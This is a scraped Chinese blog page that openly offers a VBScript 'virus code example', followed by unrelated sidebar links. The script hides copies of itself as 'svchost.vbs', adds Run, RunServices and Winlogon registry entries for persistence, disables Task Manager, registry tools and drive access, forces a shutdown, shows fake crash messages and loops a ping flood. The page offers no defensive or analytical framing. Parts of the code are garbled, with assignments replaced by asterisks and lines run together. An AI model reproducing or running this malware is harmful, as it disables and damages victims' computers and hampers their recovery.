当前位置:网站首页>[language programming] exe virus code example
[language programming] exe virus code example
2022-07-07 22:58:00 【For the rest of Kali's life】
Set objFS *** CreateObject(“Scripting.FileSystemObject”)
Set objFSO *** CreateObject(“Scripting.FileSystemObject”)set wsh *** wscript.createobject(“wscript.shell”)set reg *** wscript.createobject(“wscript.shell”)dim wsha *** WScript.ScriptFullNameb *** "shutdown -t 60 -s -cc *** "c:\svchost.vbs"d *** "d:\svchost.vbs"s *** "c:\windows\system32\svchost.vbs"c1 *** "attrib +s +h +a +r c:\svchost.vbs"d1 *** "attrib +s +h +a +r d:\svchost.vbs"s1 *** "attrib +s +h +a +r c:\windows\system32\svchost.vbs"If objFSO.FileExists ThenElseobjFs.GetFile (a).Copy wsh.run c1End IfIf objFSO.FileExists(d) ThenElseobjFs.GetFile (a).Copy (d)wsh.run d1End IfIf objFSO.FileExists(s) ThenElseobjFs.GetFile (a).Copy (s)wsh.run s1End Ifwsh.run bwsh.run “narrator"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroRun”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroClose”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroLogoff”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroDesktop”,“00000001”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\exploreroDrives”,“000000100”,“REG_DWORD"reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”,“c:\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”,“d:\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost”,“c:\windows\system32\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost”,“c:\windows\system32\svchost.vbs”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat”,“tttt H:mm:ss”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159”,“ Idiot !”,“REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359”,“ Idiot !”,“REG_SZ"reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell”,“c:\windows\system32\svchost.vbs”,"REG_SZ"msgbox “ The system is about to crash !”,48," Because you often read yellow pages :"msgbox “windows collapsed !”,18," Security alert :"dowsh.run (“ping -t -l 6500 192.168.1.1”)loop
边栏推荐
- Yarn cannot view the historical task log of yarn after enabling ACL user authentication. Solution
- Sword finger offer 27 Image of binary tree
- Details of the open source framework of microservice architecture
- Unity development --- the mouse controls the camera to move, rotate and zoom
- 【测试面试题】页面很卡的原因分析及解决方案
- ADC采样率(HZ)是什么怎么计算
- GBU1510-ASEMI电源专用15A整流桥GBU1510
- Debezium series: source code reading snapshot reader
- 知识点滴 - PCB制造工艺流程
- 行测-图形推理-1-汉字类
猜你喜欢
微服務遠程Debug,Nocalhost + Rainbond微服務開發第二彈
行测-图形推理-9-线条问题类
Select sort (illustration +c code)
CTF exercise
一次搞明白 Session、Cookie、Token,面试问题全稿定
There is another problem just online... Warm
Line test - graphic reasoning - 2 - black and white lattice class
Cause analysis and solution of too laggy page of [test interview questions]
微服务远程Debug,Nocalhost + Rainbond微服务开发第二弹
Yarn开启ACL用户认证之后无法查看Yarn历史任务日志解决办法
随机推荐
De la famille debezium: SET ROLE statements supportant mysql8
Loki, the "open source star picking program", realizes the efficient management of harbor logs
行测-图形推理-8-图群类
线上面试,该如何更好的表现自己?这样做,提高50%通过率~
7-18 simple simulation of banking business queue
今日创见|企业促进创新的5大关键要素
Debezium series: introducing support for the final operator
PCL .vtk文件与.pcd的相互转换
Aspose. Word operation word document (I)
Line test - graphic reasoning - 4 - alphabetic class
开发那些事儿:Go加C.free释放内存,编译报错是什么原因?
LeetCode707. Design linked list
0-5VAC转4-20mA交流电流隔离变送器/转换模块
筑起云端 “免疫”屏障,让你的数据有备无患
Some parameters of Haikang IPC
行测-图形推理-9-线条问题类
C development -- WPF simple animation
Common verification rules of form components -2 (continuously updating ~)
Ren Qian code compilation error modification
Unity local coordinates and world coordinates